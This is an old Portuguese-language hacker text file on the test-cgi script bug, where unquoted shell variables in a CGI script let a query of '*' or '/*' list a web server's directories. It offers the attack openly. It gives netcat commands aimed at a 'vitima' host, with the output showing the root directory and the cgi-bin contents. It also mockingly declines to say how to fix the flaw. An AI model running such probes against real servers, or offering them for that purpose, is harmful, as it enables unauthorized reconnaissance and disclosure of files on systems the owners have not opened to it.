|
| Programa efetado:
Test-cgi's
scripts encontrado em varios web servers.
|
Consequencias:
Qualquer um pode olhar
os arquivos da maquina
| How about:
Em muitos web sites existem arquivos chamados de test-cgi quase sempre
no diretorio cgi-bin ou algum lugar similar ). Existe um problema com muitos destes arquivos test-cgi. Se seu arquivo
test-cgi contem a chamada linha ( verbatim ) entao voce provavelmete esta vulneravel ao bug.
echo QUERY_STRING
= $QUERY_STRING
Todas essas linhas possivelmente tem as variaveis abertas ou perdidas sem aspas ("). Sem essas
aspas alguns caracteres especiais ( especificadamente o '*') sao expandidos onde eles nao poderiam. Enviando entao um
query de '*' vai voltar as informacoes do diretorio corrente ( provavelmente onde todos os arquivos do vgi estao... lah
no jj e no phf. Bom, o que sao esses outro cgi's que eu nunca vi...? e que furo que tem nele? Mandando um query do
'/*' vai listar o diretorio do root! ;)
Isso e' o mesmo que faz o `echo *` quando
vc dah o ls
Este e' o meio mais facil de lista diretorio e ate dar um cat neles via a string do query. Quase sempre
e' possivel de fazer a mesma coisa atraves de muitas outras variaveis ( ie $REMOTE_HOST, $REMOTE_USER, etc.) e' claro
que em certas situacoes.
| Como arrumar:
Pq arrumar? ;) deixa assim cumpadi!
| Vamos x-ploitar...
Bom vamos fazer um teste... mas pra isso temos que sempre procurar o telnet na porta 80 do provedor que
sera a vitima.
machine% echo "GET /cgi-bin/test-cgi?/*" | nc vitima.lamah.com 80
CGI/1.0 test script report:
argc
is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = vitima.lamah.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL
= HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME
= /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys
/tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE
= CONTENT_LENGTH =
|Ou pra ver o que
outros cgi's per ai...|
machine% echo "GET
/cgi-bin/test-cgi?*" | nc vitima.lamah.com 80
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE
= NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT
= 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING
= calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar
post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255
REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH
|
|